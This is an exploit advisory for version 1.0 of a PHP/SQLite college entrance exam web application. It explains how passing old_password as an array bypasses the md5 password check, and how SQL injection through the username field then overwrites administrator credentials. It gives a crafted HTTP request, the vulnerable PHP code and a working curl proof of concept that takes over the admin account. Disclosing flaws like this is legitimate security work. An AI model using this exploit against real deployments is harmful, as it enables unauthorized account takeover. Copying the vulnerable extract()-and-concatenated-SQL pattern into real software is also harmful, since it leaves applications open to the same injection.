# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover# Date: 07.10.2021# Exploit Author: Amine ismail @aminei_# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code# Version: 1.0# Tested on: Windows 10, Kali Linux# Unauthenticated password change leading to account takeover
Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password)== $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.
Request:
POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length:129id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test
Vulnerable code in Actions.php:
function update_credentials(){
extract($_POST);
$data ="";
foreach($_POST as $k => $v){if(!in_array($k,array('id','old_password'))&& !empty($v)){if(!empty($data)) $data .=",";if($k =='password') $v = md5($v);
$data .=" `{$k}` = '{$v}' ";}}...if(!empty($password)&& md5($old_password)!= $_SESSION['password']){
$resp['status']='failed';
$resp['msg']="Old password is incorrect.";}else{
$sql ="UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
@$save = $this->query($sql);
PoC that changes the password and username of user 'admin' to 'exploitdb':
curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless"-X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'
